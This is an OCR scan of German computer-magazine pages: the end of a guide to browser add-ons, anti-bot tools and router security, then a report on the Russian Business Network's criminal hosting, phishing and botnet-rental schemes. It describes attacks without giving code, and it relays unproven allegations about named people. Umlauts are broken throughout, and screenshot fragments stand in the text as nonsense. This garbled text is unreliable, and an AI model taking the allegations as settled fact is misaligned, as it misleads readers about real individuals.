schaltet. Anders als NoScript hat
FlashBlock eher zum Ziel, lastige
Flash-Werbung drauf3en zu hal-
ten, die im UbermaR die CPU-Be-
lastung und damit die Reaktions-
zeit des Rechners negativ beein-
flusst. Speziellen Angriffen mit
ActionScript oder Licken im
Flash Player hat FlashBlock nichts
entgegenzusetzen. Wer also mit
FlashBlock jedes Applet tempordr
freischaltet, hat keinen Schutz
mebhr.

Noch in der frihen Entwick-
lung befindet sich das Firefox-
Add-on Firekeeper, das sich als
Intrusion-Detection- und Pre-
vention-System fir Firefox ver-
steht. Es nutzt die Erkennungs-
routinen des Open-Source Intru-
sion-Detection-Systems Snort,
um bestimmte webbasierte An-
griffe auf den Browser zu erken-
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nen, den weiteren Zugriff auf die
Webseite zu blockieren und sie
in eine Blacklist einzutragen.
Allerdings hapert es ein wenig
bei den Regelsdtzen, mit denen
sich derzeit nur altbekannte und
plumpe Angriffe abwehren las-
sen. Einige aktive Nutzer arbei-
ten jedoch an der Aktualisierung
der Regelwerke und stellen diese
zum Download bereit. Wer sich
mit Snort auskennt, kann sich
selbst Regelsdtze stricken.

Im Test schlug Firekeeper bei
einigen schadlichen Webseiten
an. Interessanterweise warnte es
unter anderem auch regelmaBig
auf den Seiten des US-amerikani-
schen News-Portals eWeek. Das
Portal nutzt zur Einbindung sei-
nes Werbepartners Doubleklick
URLs, die JavaScript-Tags enthal-
ten. Um weitere Fehlalarme zu
vermeiden, kann der Anwender
eine Seite respektive Link in eine
Whitelist aufnehmen.

Das Firefox-Plug-in Firebug
bietet zwar keinen direkten
Schutz vor Angriffen, daftir kann
der einigermafBen mit HTML und
JavaScript vertraute Anwender
jegliche Seiten bis auf den letz-
ten Parameter analysieren. Fire-
bug ist auch in der Lage, dyna-
mische XMLHttpRequests zu
protokollieren und darzustellen,
von denen der Anwender kaum
etwas mitbekommt und die
nicht im Quelltext einer Seite
auftauchen.

Hilfestellung bei der Zuord-
nung von JavaScripten gibt auch
das Tool JSView, dass samtliche
von einer Seite per SCRIPT-SRC-
Tag nachgeladene JavaScripts
und deren Herkunft anzeigt.
Damit ist durchaus interessant
anzuschauen, wie viele verschie-
dene Skripte mitunter in einer
Seite arbeiten. Sehr haufig anzu-
treffende Quellen sind dabei die
Google-Syndication- und Goo-
gle-Analytics-Server.

Sandkasten-Browser

Der Microsoft-Browser lasst sich
mit dem c't-IEController im
Zaum halten [1]. Er ermdglicht,
JavaScript und ActiveX-Module
zu blockieren oder fir vertrau-
enswirdige Seiten deren Aus-
fuhrung explizit zu gestatten.
Der IEController geht dabei aber
weiter als NoScript im Firefox. Er
packt den Browser in eine Sand-
box und tberwacht Aufrufe von
Systemfunktionen wie CreateRemote-
Thread(), mit denen eingedrungene
Schéadlinge sich in andere Pro-
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NoScript informiert den Nutzer in einer Statusleiste, wenn es einen

Cross-Site-Scripting-Angriff vereitelt hat.

zesse zu injizieren versuchen.
Das Programm kann auch belie-
bige Anwendungen daran hin-
dern, auf Systemdateien zuzu-
greifen, Daten ins Internet zu
senden, die Registry zu veran-
dern oder andere Prozesse zu
manipulieren. I[EController kann
beispielsweise verhindern, dass
ein DVD-Player Daten ins Inter-
net sendet, oder dass ein Ins-
tant-Messenger Dateien ausspio-
niert.

Leider gibt es keine speziellen
kostenlosen Tools fur den Inter-
net Explorer zum Analysieren
des Webverkehrs. Stattdessen
bietet sich der freie HTTP-De-
bugging-Proxy Fiddler an, der
den kompletten Verkehr zwi-
schen Browser und Server mit-
schreibt und darstellt. Allerdings
ist Fiddler eher fur Entwickler zur
Fehlersuche und weniger als
Schutz fur Anwender geeignet.

Anwender des Internet Explo-
rer sollten erwdgen, auf den Fire-
fox umzusteigen. Der Wechsel
ware allein schon durch die zahl-
reichen Licken in ActiveX-Con-
trols verschiedener Hersteller zu
rechtfertigen, die in den letzten
Monaten ein Uberschaubares
MaR Gberschritten haben. Immer
wieder sieht sich Microsoft ge-
zwungen, Updates flir seinen
Browser zu verteilen, um per Kill-
Bit diverse Controls zu deaktivie-
ren. Zudem ist und bleibt der
Internet Explorer das bevorzugte
Angriffsziel.

Verhaltenskontrolle

Die Installation eines Virenscan-
ners ist zwar obligatorisch, aller-
dings bietet dieser nicht immer
hundertprozentigen Schutz des
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Norton AntiBot erkannte im Test
den Sturmwurm und bot an, ihn

in die Quarantane zu verschieben.

PC, insbesondere wenn der Scan-
ner nur signaturbasiert arbeitet
und sich der Eindringling zudem
durch ein Rootkit versteckt [3].
Da die meisten aktuellen Schad-
linge wie der Storm Worm Bot-
Verhalten aufweisen, liegt es
nahe, statt nur den PC zusatzlich
noch den Netzwerkverkehr des
Rechners zu Uberwachen. Ver-
déchtig viele ausgehende E-Mails
oder Netzwerkverkehr von und
zu einem Command-and-Con-
trol-Server kdnnen Hinweise da-
rauf liefern, dass der eigene PC
Mitglied eines Bot-Netzes ist. Wir
haben die Erkennungsrate von
zwei speziellen Anti-Bot-Produk-
ten und einer manuellen Lésung
anhand von funf exemplarischen
Bots getestet.

Trend Micros derzeit noch
kostenloses RUBotted (ausge-
sprochen ,Are you botted?”) ge-
hort zu den verhaltensbasierten
Sicherheitslosungen, die den
Rechner auf typischerweise von
Bots erzeugten Netzwerkverkehr
Uberprifen. Dazu gehoéren ein-
gehender HTTP-Verkehr, IRC-Ver-
bindungen, DNS-Anfragen und
ausgehender SMTP-Verkehr. RU-
Botted verhindert nicht das Ein-
nisten der Schadlinge. Es soll sie
jedoch erkennen, wenn sie ver-
suchen, Kontakt zu ihrem Com-
mand-and-Control-Server aufzu-
nehmen.

Das Tool bietet dem Anwen-
der nach einem Fund an, den
Rechner mit dem Online-Viren-
scanner HouseCall genauer zu
untersuchen und Schadlinge zu
entfernen. RUBotted schldgt
prinzipbedingt nur an, wenn
die Command-and-Control-Ser-
ver noch aktiv sind - ohne Netz-
werkverkehr gibt es auch keine

In unseren
Tests mit
fiinf aktuel-
#| len Schadlin-
gen warnte
RUBotted
kein einziges
Mal vor einer
Infektion.

T Tiomd Mirs BDatied

Warnung. Vor einem gerade ak-
tivem IRC-Bot, der zahlreiche
SSL-verschlisselte Anfragen an
einen IRC-Server schickte, warnte
RUBotted in unseren Tests eben-
so wenig, wie vor den anderen
vier Schadlingen. RUBottet liegt
bislang nur als Beta-Version vor
und ist in der jetzigen Fassung
nutzlos.

Nortons 30 Euro teures Anti-
Bot Uberwacht hingegen alle
gestarteten Prozesse auf dem
System und schldgt Alarm,
wenn sie zu viele verddchtige
Aktivitaten ausfihren. Dabei be-
wertet AntiBot etwa das Anle-
gen von Eintrdgen in der Regis-
try fur den automatischen Start
von Software, das Ablegen von
Dateien im Windows-Verzeich-
nis, Modifikationen der hosts-
Datei, Aufbau von Netzwerkver-
bindungen etwa zu IRC-Server,
das Einklinken in andere Prozes-
se oder auch das Verstecken von
Dateien mittels Rootkit-Techni-
ken sowie des Anwendungsfens-
ters. Im Test erkannte AntiBot
alle funf Schadlinge.

Blindekuh

Bei Verdacht auf eine Infektion
mit einem Bot kann man den
Rechner statt mit speziellen kos-
tenpflichtigen Programmen auch
mit kostenlosen Werkzeugen
manuell untersuchen. Dafur be-
nétigt man lediglich das Netz-
werk-Analyse-Werkzeug ~ Wire-
shark und etwa das Anti-Rootkit-
Tool GMER.

Sofern weder Browser, Mail-
client noch anderen Netzwerk-
anwendungen laufen, sollte der
Rechner sehr wenig Netzwerk-
verkehr produzieren. Einzige

& ™t RUBotted '
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Die Kommunikation der Trojaner mit dem Kontrollserver fallt

bei der Analyse mit Wireshark auf.

Verursacher sollten dann das Be-
triebssystem auf der Suche nach
weiteren Rechner im LAN sein
sowie die Clients fur automati-
sche Updates verschiedenster
Software, etwa fur Adobe-Pro-
dukte, Java, Virenscanner und
dergleichen. Je weniger Dienste
laufen, desto weniger Pakete
muss man spater analysieren
und desto leichter findet man
unerwiinschte Verbindungen. In
der Regel lassen sich Update-
Dienste beispielsweise unter
Windows mit dem Prozessmana-
ger (Strg-Alt-Entf) temporédr de-
aktivieren.

Drei von funf der von uns be-
obachteten Schadlinge verrieten
sich bei der Beobachtung des
Netzwerkverkehrs mit Wireshark
unter anderem durch gréBere
Mengen an ein- und ausgehen-
den UDP-Paketen, die bei der
Kommunikation des Bots mit
seinem Command-and-Control-
Server beziehungsweise bei der
Suche danach anfielen.

Dazu zdhlte auch der geteste-
te IRC-Bot, der sich durch zahl-
reiche Zugriffe auf IRC-Server
verriet — die allerdings SSL-ver-
schlusselt waren. Dadurch lief3
sich zwar die Kommunikation
nicht analysieren, da wir aber
keinen IRC-Client auf dem Rech-
ner installiert und gestartet hat-
ten, lag der Schluss nahe, dass
ein Schadling den Verkehr her-
vorruft.

Die anderen Hintertliren konn-
ten wir mit dem kostenlosen Tool
GMER aufspuren [3]. Nach dem
Start entdeckte das Werkzeug
verddchtige Modifikationen im
System und riet uns zu einer Sys-

920

temuntersuchung.  Zahlreiche
der aktuellen Schadlinge setzen
auf Rootkit-Techniken, um sich
zu verstecken, und lassen sich
daher durch Tools wie GMER ent-
decken.

Zur Entfernung der entlarvten
Trojaner, Rootkits und weiterer
Schéadlinge sollte man auf eine
saubere Boot-CD mit Virenscan-
ner wie Knoppicillin aus c't 26/07
zurlickgreifen. Da das befallene
System bei einer Analyse mit der
Linux-Live-CD nicht lauft, greift
das Rootkit nicht, sodass der
Scanner sie mit aktuellen Viren-
signaturen aufsplren und ent-
fernen kann.

Router sichern

Neben den zusatzlichen Schutz-
maBnahmen fir den PC emp-
fiehlt es sich, auch den Router
vor moéglichen Angriffen zu si-
chern. Zuerst sollte man die
UPnP-Funktion  deaktivieren,
damit weder ein reguldrer Client,
ein bosartiger Trojaner noch ein
Flash-Film die Firewall ohne Er-
laubnis des Anwenders durch-
bohren konnen. Zusatzlich muss
der Anwender das Standard-
passwort auf ein schwer erratba-
res andern. Das schiutzt immer-

Mit Tools wie Secunia PSI kann der Anwender kontrollieren,
ob die installierte Software auf dem aktuellen Stand ist oder

Sicherheitsliicken aufweist.

hin vor Cross-Site-Request-For-
gery-Angriffen (CSRF), bei denen
Skripte versuchen, sich automa-
tisch in den Router einzuloggen.
Es schitzt nicht davor, wenn der
Anwender im Router eingeloggt
ist und gleichzeitig im Web surft.
Daher gilt sowohl bei der Konfi-
guration des Routers als bei der
Arbeit in Content-Management-
Systemen: Maoglichst nicht in
einem weiteren Browserfenster
herumsurfen.

Zudem sollte man darauf ach-
ten, eine Session aktiv zu been-
den, indem man sich aus der
Weboberfldache ausloggt. Ansons-
ten bleibt die Session oft aktiv
und ldsst sich ausnutzen, obwohl
das Browserfenster langst ge-
schlossen ist — unter Umstdnden
stundenlang. Doch mit dem
Schutz des Browsers ist oft auch
bereits der Router geschiitzt. So
lasst das NoScript-Plug-in fiir
den Firefox das auf Seite 85 er-
wahnte CSRF-Beispiel ins Leere
laufen, da es JavaScript benotigt.

Updates!

Auch wenn gerade die neuarti-
gen Angriffe in aller Munde sind,
ist es weiterhin immens wichtig,
sich vor den alten Angriffen zu

Erkennungsrate Bots

Schidling AntiBot
Web.de-Install (Dropper/Haxdoor) v/ -

E-Greet (Zapchast IRC-Bot) v -
Dancer (Storm) v -
Skypeworm (Skipi) v -
With Love (Storm) v -
v erkannt = nicht erkannt

RUBotted Wireshark+Gmer

v (SSDT-Hooks und versteckte Dateien erkannt)
v (viele verschliisselte Anfragen an IRC-Server)
v/ (viele UDP-Anfragen [C&C-Verkehr])

v/ (viele UDP-Anfragen [C&C-Verkehr];
Rootkit erkannt)

schiitzen. Dazu gehort, in allen
Anwendungsbereichen immer
nur mit der aktuellsten Soft-
ware-Version zu arbeiten. Das
gilt nicht nur fir Browser, son-
dern auch fur alle integrierten
Plug-ins wie Adobe Flash,
Adobe Reader, QuickTime, Java
und so weiter. Weil die mitgelie-
ferten automatischen Update-
tools ziemlich nerven kénnen,
haben viele Anwender sie ein-
fach deaktiviert - und merken
nun nicht mehr, dass sie mit ver-
alteter Software unterwegs sind.
Gerade bei Flash und QuickTime
hatte dies in den vergangenen
Monaten ziemlich ins Auge
gehen konnen.

Wer auch ohne automatisches
Update auf dem neuesten Stand
bleiben will, liest heise online
oder installiert sich Tools wie
den Personal Security Instructor
(PSI) von Secunia. PSI inventari-
siert die installierte Software von
Windows-Rechnern und ver-
gleicht die Versionen mit den
aktuell verflgbaren. (dab)
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Report | Cybercrime: Geschaftsmodelle

Frank Faber

Wenn Girokonten von Phishern leer gerdaumt oder Kreditkartendaten
missbraucht werden, fithren die Spuren oft nach Russland. Mit der
Unterstiitzung von Netzbetriigereien verdienen die Hintermanner des
»~Russian Business Network” Millionen. Und das augenscheinlich, ohne
entscheidend von Strafverfolgungsbehérden gestort zu werden.

er Levashovskiy Prospekt
liegt im Herzen der russi-
schen Metropole Sankt
Petersburg. Nicht weit entfernt

von der Stral3e mindet die Newa
ins Ostende des finnischen

Meerbusens. Hausnummer 12
markiert einen schnéden Biro-
komplex, wie es sie so viele gibt
in der Millionenstadt. In der Um-
gebung sind Provider und ande-
re IT-Firmen angesiedelt, es hat
sich eine funktionierende Infra-
struktur gebildet.

Dass dieser unscheinbare Be-
ton-Zweckbau allerdings wahr-
scheinlich als Zentrale der wohl

weltweit groBten Cybercrime-Or-
ganisation diente und vielleicht
noch dient, dirften die wenigs-
ten Passanten ahnen. ,Russian
Business Network” (kurz: RBN)
nennt sich das Konglomerat aus
Unternehmen ganz seriés, und
gilt dennoch - oder gerade des-
halb - bei Security-Experten als
der Prototyp einer neuen, hoch
gefdhrlichen Spielart der organi-
sierten Kriminalitat.
Schatzungen von iDefense,
einer Tochterfirma des IT-Kon-
zerns Verisign zufolge hatten das
RBN und seine diversen ,Zweig-
stellen” im Jahr 2007 bei 60 bis

70 Prozent des weltweit entstan-
denen Schadens durch Phishing-
Attacken, Kreditkartendatenklau
und Identitdtsdiebstahl seine
Finger im Spiel. Das Business-
Netzwerk ist so clever organi-
siert, dass Ermittlungsbehorden
lange brauchten, um Uberhaupt
zu begreifen, dass sie es nicht
mit vielen Einzeltatern, sondern
mit einer strukturierten Bande zu
tun hatten.

Kugelsicher

Auch heute noch liegt viel im
Dunkeln. Unglaublich, aber wahr:

Westliche Ermittlungsbehorden
ratseln seit zwei Jahren Uber die
Identitat des Kopfs der Bande,
des ,Masterminds”, wie er bis-
weilen genannt wird. In Foren
und Chats tritt er unter dem
Nickname ,flyman” auf. Als Fly-
man wird im Theater jene Person
bezeichnet, die wahrend der Vor-
stellung die Vorhdnge bedient
und die Kulissen d@ndert.

Fest steht, dass flyman das
RBN Ende 2005 ins Leben geru-
fen hat. Zuvor hatten internatio-
nale Strafermittlungen ergeben,
dass Sankt Petersburg und dort
speziell der Provider ValueDot
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als Drehscheibe fur kinderporno-
grafisches Material und Malware
im Internet fungiert hatte. Value-
Dot wurde daraufhin von russi-
schen Behorden vom Netz ge-
nommen. Nicht einmal einen
Monat spdter war samtliche
Hardware und Infrastruktur auf
ein omindses Russian Business
Network umgeschrieben. Ein
Unternehmen dieses Namens
existierte offiziell nie. Dennoch:
Auch das Autonome System (AS
40989), also das Netz von Value-
Dot, gehorte nun laut der Regis-
try RIPE einem ,RBusiness Net-
work”.

,Das RBN ist nichts, und es ist
alles.” So umschreibt David Bi-
zeul sein Studienobjekt. Bizeul,
der 31-jahrige Bankangestellte
und Sicherheitsexperte, fasste
sich ein Herz und ging ohne den
Schutz der Anonymitat auf Spu-
rensuche im Netz: Er verfasste
eine beeindruckende Analyse
der Struktur des russischen Cy-
bercrime-Netzwerks [1]. RBN sei
keine Firma, sondern eher ein
Schema, eine Struktur, so der Er-
kldrungsversuch von Bizeul.

Unter der Flagge von RBN
wurden im Untergrund zumin-
dest bald nach der Ubernahme
Hosting-Dienstleistungen fir kri-
minelle Machenschaften ange-
boten. Es hatte sich schnell her-
umgesprochen, dass sich beim
RBN dedizierte Webserver an-
mieten lassen, die ,bullet proof”
sind - Beschwerden und straf-
rechtliche Ermittlungen federte
der ,Provider” mit seiner un-
durchsichtigen Struktur ab. Ein
solcher Server kostete rund 600
US-Dollar pro Monat, also un-
gefdhr zehnmal so viel wie bei
legalen Hostern. Hauften sich die
Beschwerden, erhohte RBN den
Mietpreis sukzessive.

Politikum

Von flyman wird behauptet, er
sei der Neffe eines hochrangigen
Politikers aus Sankt Petersburg.
So lieBe sich erkldren, warum der
Bandenkopf offensichtlich unbe-
helligt seinen Geschéften nach-
gehen kann. Verisigns iDefense
bestatigte in seinen veroffent-
lichten Rechercheergebnissen
Uber RBN diese These. c't erfuhr,
dass es einen zweiten, internen
Report des Unternehmens gibt,
der brisantere Vermutungen
Uber flyman enthalt.

Man habe sich in der IT-Com-
munity von Sankt Petersburg
umgehort, heilt es da: ,Den Er-
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zdhlungen zufolge ist der RBN-
Anfuhrer [flyman’ selbst ein Pa-
dophiler und gestattet die Ver-
breitung von Kinderpornografie
Uiber sein Netzwerk eher aus per-
sonlichen denn aus finanziellen
oder taktischen Griinden.” Und
dies, so iDefense, geschah von
Anfang an, obwohl RBN damit in
Kauf nahm, die Strafverfolgungs-
behorden aufzuscheuchen und
potenzielle Kunden aus morali-
schen Griinden abzuschrecken.

Eine Stichprobe von Verisign
im Mai 2007 habe beispielsweise
ergeben, dass tatsachlich ein
grofer Teil der von RBN gehos-
teten Sites kinderpornografi-
sches Material offeriert habe. Das
US-amerikanische National Cen-
ter for Missing and Exploited
Children (NCMEC) registrierte al-
lein zwischen Oktober 2006 und
Mérz 2007 1500 kinderpornogra-
fische Websites auf Servern, die
eindeutig dem RBN zugeordnet
werden konnten.

Sollte die These von Verisign
stimmen, wirde sie ein neues
Licht auf die Aktivitaten der fly-
man-Truppe werfen. Nicht nur
das Millionen-Dollar-Scheffeln
ware der Antrieb der Bande, son-
dern auch die massive Beforde-
rung eines der schlimmsten,
international gedchteten Verbre-
chen. Umso unverstandlicher
wdre es aus westlicher Sicht,
dass die russischen Behorden
dem Treiben in Sankt Petersburg
seit zwei Jahren nahezu tatenlos
zugesehen. RBN wirde noch
mehr zum Politikum, als es ohne-
hin schon ist.

Networking

Anfang 2006 hatte RBN eine In-
frastruktur aufgebaut, die es er-
maoglichte, Risiken auf viele Schul-
tern zu verteilen. Ein Netzwerk
aus scheinbar seridsen, aus halb
legalen und offensichtlich krimi-
nell agierenden Firmen spann
sich nun um das RBN. Das kleine
eigene IP-Netz von RBN war ver-
knupft mit Provider-Systemen,
die gute Verbindungen insbeson-
dere in den Westen garantierten.

Direkte Peerings mit den du-
biosen Carriern AkiMon und SBT-
Tel dienten als Hub ins weltweite
Internet. Gerade SBT-Tel sorgte
Uber seinen Uplink Silvernet, der
ebenfalls dem Dunstkreis von
RBN zugerechnet wird, fur den
so wichtigen Anschluss an den
groBen Moskauer Netzknoten
MSK-IX. Von dort aus gelangten
die RBN-gehosteten Daten Uber

Report | Cybercrime: Geschaftsmodelle

direkte offentliche Peering-Ver-
bindungen auf alle Kontinente,
etwa in die USA (Equinix), nach
London (LINX) und auch nach
Deutschland (DE-CIX).

Offenbar scherte sich niemand
darum, dass RBN meist falsche
und auch widerspriichliche Regis-
trierungsdaten angegeben hatte.
Technische Kontakte waren an-
geblich in Panama oder in New
York, DNS-Eintrage losten ins
Nirwana beziehungsweise auf lo-
calhost auf. Dass die eingetrage-
nen Personen existieren, konnte
bis heute nicht immer bestatigt
werden.

Ging es um Domains von RBN
oder SBT-Tel und AkiMon, fand
sich oft der Name Nikolay Iva-
nov. Verisign und Bizeul vermu-
ten, dass jener Ivanov beim RBN
tatsachlich verantwortlich fur
Domains und das ,Beschwerde-
Management” ist. Als im Herbst
2007 die Luft fur RBN dinner
wurde, weil mehr und mehr
internationale Carrier RBN-Netz-
bereiche gezielt aussperrten,
verteidigte ein Tim Jaret intensiv

die Organisation gegentiber den
Vorwirfen von anderen Provi-
dern. Er nutzte dabei eine E-Mail-
box, die Ivanov zugeordnet wird,
was Bizeul zu dem Schluss flhrt,
dass Jaret und Ivanov ein und
dieselbe Person sind.

Russen-Rock

Als das RBN 2005 an den Start
ging, hostete es sofort kriminelle
Geschafte, die bereits zuvor exis-
tierten. Bekanntestes Beispiel
durfte das Afilliate-Programm
iframecash/iframebiz sein: Web-
master oder kleine Hoster erhal-
ten Geld, wenn sie fur Surfer un-
sichtbaren Schadcode in ihre
Sites einbauen. Wird eine so ma-
nipulierte Seite aufgerufen, leitet
ein iFrame-Tag den Browser im
Hintergrund auf eine Seite um,
die etwa einen Trojaner oder Bot
auf dem Rechner platziert. Fur
jeden gelungenen Redirect be-
kommt der Site-Betreiber bei-
spielsweise 10 US-Cent gutge-
schrieben. Die ,offizielle” Web-
site iframedollars.com, auf der

55 Camber Lovas Bowsklby, 10, | deeadalorru - ok

Pws  Qeabelsn At (heondl esecschen  Edwes  Hife

e-n:v\..a.l ¥

R R e R R R
Horntead il i

Cantach fee mure
infarmatiss

Partip

i . i._"' 'I" | himhsng, seendstor ko be | =f e (]

mtarmshan rescurces on

1
E:j__ Au["ll‘fu“l Wasoow carareral real estate
vimim - g B
A T [T

Im Levashovskiy Prospekt 12, Sankt Petersburg, sind
Biirordume zu vermieten. Im selben Haus residiert hochst-
wahrscheinlich das Russian Business Network.
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sich Webmaster bei dem perfi-
den Partnerprogramm registrie-
ren konnten, war bei AkiMon ge-
hostet. Die iFrame-Links zeigten
auf unterschiedliche Adressen
innerhalb des RBN-Dunstkreises.

Inwieweit ~ RBN-Mitglieder
selbst direkt an derlei Aktionen
beteiligt sind, ist meist unklar.
Fest steht nur, dass die Organisa-
tion als Dienstleister ihre Platt-
form zur Verfligung stellt. RBN ist
der neue Typ eines sogenannten
,Rogue ISP*, eines Providers, der
seine kriminellen Kunden vor
dem Zugriff von Strafverfolgungs-
behorden schiitzt und deren Ser-
vices auch am Laufen halt, wenn
es Beschwerden hagelt.

Den Recherchen von Verisign
zufolge gibt es deutliche Hin-
weise, dass der innere Kreis von
RBN aber auch direkt an den
groflen Aktionen beteiligt ist.
2006 etwa begann die Rock-
Phish-Crew ihr Unwesen zu trei-
ben. Verisign schatzt, dass die
Bande mit Phishing-Attacken in
jenem Jahr rund 150 Millionen
US-Dollar ergaunert hat. Ging
man zuerst davon aus, dass es
sich um rumédnische Hacker han-
delt, ist mittlerweile offensicht-
lich, dass RBN-Mitglieder invol-
viert sein mussen.

Die Rock-Phish-Crew nutzte
RBN-Infrastruktur und neue
Techniken wie Fast Flux (siehe
Kasten), um ihre Fake-Sites lange
am Laufen zu halten. Als etwa die
Bank of Australia im September
2006 begann, selbst gegen Rock
Phish vorzugehen und Strafver-
folgungsbehorden zu mobilisie-
ren, folgte eine heftige DDoS-At-
tacke, die die Banken-Homepage
fur drei Tage lahmlegte. Als Ur-
sprung des Angriffs konnte das
RBN lokalisiert werden. Verisign
will auBBerdem deutliche Hin-
weise darauf haben, dass eines
der wenigen bekannten RBN-
Mitglieder, Vladimir Kuznetskov,
ein fuhrendes Mitglied der Rock-
Phish-Group ist.

Arbeitsteilung

Fiur Security-Experten brachte
das Jahr 2007 neue Bedrohun-
gen insbesondere in Form des
Exploit-Packs MPack sowie des
Sturmwurm-Bot-Netzes (siehe
Kasten). Mitte Juli des vergange-
nen Jahres wiesen urplotzlich
Tausende gehackte Websites
Uiber unsichtbare iFrames auf
Adressen, hinter denen das
MPack-Kit steckte und versuchte,
Trojaner auf PCs ahnungsloser
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Surfer zu schleusen. Gehostet
wurden die MPack-Kits vom RBN.

Auch im Falle von MPack gibt
es keine konkreten Beweise
dafur, dass RBN auBBer durch das
Hosting fur die Attacken verant-
wortlich war. $ash, der MPack-
Entwickler, scheint zumindest
nichts mit dem RBN zu tun zu
haben. Er verkaufte sein Tool le-
diglich lukrativ an RBN-Kunden.
In Foren offerierte er es fur rund
1000 US-Dollar. Allerdings wei-
sen die Bots, die MPack als ,Pay-
load” auf die PCs transportierte,
in Richtung Sankt Petersburg:
Die Trojaner Gozi und Torpig ste-
hen in dem Ruf, eine RBN-Ent-
wicklung zu sein.

MPack und Sturmwurm sorg-
ten dafur, dass das RBN nunmehr
von Strafverfolgung und Medien
als ,baddest of the bad” wahrge-
nommen werden. Das Wort von
einer geheimdienstunterstiitzten
+Russen-Computermafia” machte
die Runde. Igor Muttik, Russland-
kenner und Entwickler beim Secu-
rity-Unternehmen McAfee, halt
nichts von solchen Verschwo-
rungstheorien: ,Flr uns ist offen-
sichtlich, dass die russische Mafia
und der Geheimdienst FSB nicht
hinter dem Anstieg bei Malware-,
Spam- und Phishing-Angriffen
stecken.” Es sei vielmehr so, dass

im IT-Bereich ,die Kombination
aus relativ niedrigen Gehdltern,
einer hohen Arbeitslosenquote
und der breiten Verfugbarkeit
vernetzter Computer die Entwick-
lung von Malware fiir viele Men-
schen attraktiv” mache.

Muttik sagt aber auch, dass
dies schon jahrelang so sei. Er er-
klért nicht, wie es dazu kam, dass
sich um die Malware-Entwickler
innerhalb von nur zwei Jahren
eine effiziente, arbeitsteilige Oko-
nomie entwickeln konnte. Es
scheint so, als fungiere das
Russian Business Network als
Katalysator, als jenes fehlende
Teil, dass zum Aufbau einer regel-
rechten Schattenwirtschaft im
IT-Bereich notig gewesen war.

Kundenorientierung

Dass RBN nichts mit einer Ha-
ckerbude, sondern eher mit
einem kundenorientierten, pro-
fitmaximierenden Unternehmen
zu tun hat, belegen Recherchen
des US-amerikanischen Sicher-
heitsforschers Don Jackson. Bei
der Analyse einer Variante des
Gozi-Bots stiel3 er auf den vom
RBN gehosteten Dienst ,76Ser-
vice”. Durch geschicktes Social
Engineering gelangte er nach ei-
gener Aussage in einem IRC-

Chat an Zugangsdaten fur das
76Service-Webfrontend.

Das offenbar von zwei Perso-
nen aus dem RBN-Kreis geleitete
Projekt gab zahlenden Kunden
fuir 30 Tage Zugriff auf einzelne,
installierte Bots oder auch ganze
Bot-Armeen. ,Genial” nannte der
verblUffte Jackson das neue Kon-
zept: Der Kunde kauft keine Ex-
ploits oder Kreditkartendaten
mehr, sondern bekommt das
Werkzeug bereitgestellt, um
selbst auf Identitéts-Fischzug zu
gehen. Die Monatsmiete pro Bot
konnte je nach dem, wie lange er
bereits installiert ist, schon mal
1000 US-Dollar betragen. Je fri-
scher der Bot, desto teurer ist er.

Dafur erhielt der Kunde ein
ausgereiftes Frontend mit direk-
tem Zugriff auf die Bot-Steue-
rung. Er konnte Gozis Keylogger-
Funktion auf bestimmte Begriffe
ausrichten oder den Bot Cookies
und Browser-Zertifikate vom infi-
zierten System saugen lassen. Die
Keylogging-Textdateien standen
jederzeit zum Herunterladen be-
reit. So fand Jackson etwa ein 3,3
GByte groBes Logfile mit jeder
Menge Login-Daten und Finanz-
informationen des PC-Nutzers. In
einem Video zeigt Jackson 6ffent-
lich seinen Streifzug durch den
RBN-Service [2].
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Fliegender Wechsel

Um die Kommunikationsverbin-
dung zwischen den Malware-
servern des RBN und den infi-
zierten Zombie-PCs wadhrend
der Angriffe auf Anwender zu
verschleiern, schlagen die Krimi-
nellen einige digitale Haken.
Damit erhoht sich die Lebens-
dauer ihrer Infrastruktur, da es
far Ermittlungsbehorden kein
eindeutiges Ziel mehr gibt. Bis
die Behorden die richtige Spur
aufnehmen und beteiligte infi-
zierte Systeme ausschalten,
haben langst andere infizierte
Systeme die Verteilung von
Malware und die Steuerung von
Angriffen ibernommen.

Maoglich macht dies eine flexi-
ble Zwischenschicht von Pro-
xies — das sogenannte Fast Flux
Network. Will sich etwa ein mit
dem Storm Worm infizierter
Bot Uber das Netz mit seinem
Herrn und Meister verbinden,
kontaktiert er einen Rechner
wie mymaster.eqcom.com. Be-
reits hier beginnt die Ver-
schleierung, indem der Do-
main Name Service mehr als
ein Dutzend fur die Domain
eqcorn.com verantwortliche
Nameserver zurickliefert. Da-
von liefert jeder eine unter-

Das ,Winter Edition” genann-
te Webfrontend von 76Service
war benutzerfreundlich und so
funktional, dass es in puncto
Qualitat locker mit dem eines
groBen Hosting-Providers mit-
halten konnte. Als der Bot Gozi
von allen Virenscannern erkannt
wurde, schwenkten die 76Ser-
vice-Macher auf den Trojaner
Torpig um und bauten die Be-
dienoberfliche ,Spring Edition”.
Inzwischen ist 76Service, wie
viele andere Projekte von RBN,
nicht mehr online.

Strategiewechsel

In der zweiten Jahreshalfte 2007
rickten die Geschafte rund ums
Russian Business Network wie
erwahnt ins Licht der Offentlich-
keit. Spat, aber immerhin: Pro-
vider wie die BT (British Tele-
com) begannen, RBN-Netz-
blocke gezielt zu ermitteln und
auszusperren. Fur Privatanwen-
der, die RBN-gehostete Sites
via Firewall von ihren Rechnern
fernhalten wollen, tauchten nun
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Als Weiterleitungs-Bots dienen in Fast-Flux-Netzwerken infizierte
Windows-PCs von Heimanwendern.

schiedliche Adresse aus, die
allerdings noch nicht direkt
zum Command&Control-Server
fuhren, sondern zu ebenfalls
infizierten Systemen mit DSL-
Verbindung (siehe Bild). Darauf
lauft ein Weiterleitungsservice,
der die Daten an den C&C-Ser-
ver weitergibt und von dort
empféngt. Um die Sache zu
verkomplizieren, andern sich in
gewissen Zeitabstanden die
von den Nameservern zuriick-
gelieferten Adressen, sodass

stets aktualisierte Listen auf [3].
Auch Spam-Blacklist-Betreiber
wie Spamhaus erschwerten damit
RBN das Zustellen von Phishing-
Mails.

Mitte November 2007 gingen
beim RBN dann urplétzlich die
Lichter aus. Binnen Stunden ver-
schwanden die Websites. Nur
einen Tag spater tauchten die
ersten Sites wieder auf, gehostet
allerdings in China und Hong
Kong. ,RBN reorganisiert sich
nun”, kommentierte Raimund
Genes, Technikchef beim Secu-
rity-Unternehmen Trend Micro.
In der Tat war wenig spdter zu
beobachten, dass das RBN zwar
weiterhin in Sankt Petersburg
residiert, seine Services aber auf
verschiedene Lander verteilt.

Nach c't-Informationen bekam
RBN in China sofort nach Auftau-
chen Druck von den Strafverfol-
gungsbehorden. Die Folge war,
